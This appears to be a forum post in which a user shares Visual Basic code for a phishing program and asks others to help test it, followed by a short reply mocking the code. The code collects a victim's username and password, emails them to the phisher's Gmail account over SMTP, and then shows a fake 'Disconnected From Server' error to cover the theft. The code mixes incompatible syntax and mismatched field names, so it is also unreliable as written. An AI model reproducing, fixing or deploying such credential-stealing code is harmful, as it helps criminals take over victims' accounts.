Phishing Program

Hey guys I made a phishing program for someone, but since I have Visual Basic 6.0 Portable Edition I can't test it, because I'm pretty sure you need 2008 Express x.x

Private Sub Button1_Click()

If Text1.Text = "" Then

            MsgBox ("Username Is Missing")

If Text2.Text = "" Then

            MsgBox ("Password Is Mising")

If Text3.Text = "" Then

            MsgBox ("Victims Username is Missing")

If Text4.Text = "" Then

            MsgBox ("Your Email is Missing! Without this we cant email you the accounts password")

        Else

        End If

        End If

        Dim smtpServer As New SmtpClient()

        Dim mail As New MailMessage()

        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Password")

        'using gmail

        smtpServer.Port = 587

        smtpServer.Host = "smtp.gmail.com"

        smtpServer.EnableSsl = True

        mail = New MailMessage()

        mail.From = New MailAddress("Your Gmail")

        mail.To.Add ("Your Gmail")

        mail.Subject = "Username: " & TextBox1.Text

        mail.Body = "Username : " & Text1.Text & ", " & "Password : " & Text2.Text

        smtpServer.Send (mail)

        MsgBox ("DIsconnected From Server, Please try again later!")

End Sub

Just put your email where it says "Your Gmail" and your password where it says "Your Password" And run it and fill out the forum and see if it emails it to you xP

I need to test this but I don't know of a Visual Basic 2008 Express Edition Portable and I cant get the normal one.

If you guys could post results or help me test/tweak it that would be great

Thanks,

~Flareboy323

P.S. If you steal this code, I will hunt you down and kill you. At least give me credit?

Christian wrote:

By doing this, someone can easily steal all of your victims by using bintext to find your email and password

Not just that, you can decrypt the ASCII strings to find the phishers email and password.

Fail coding is fail coding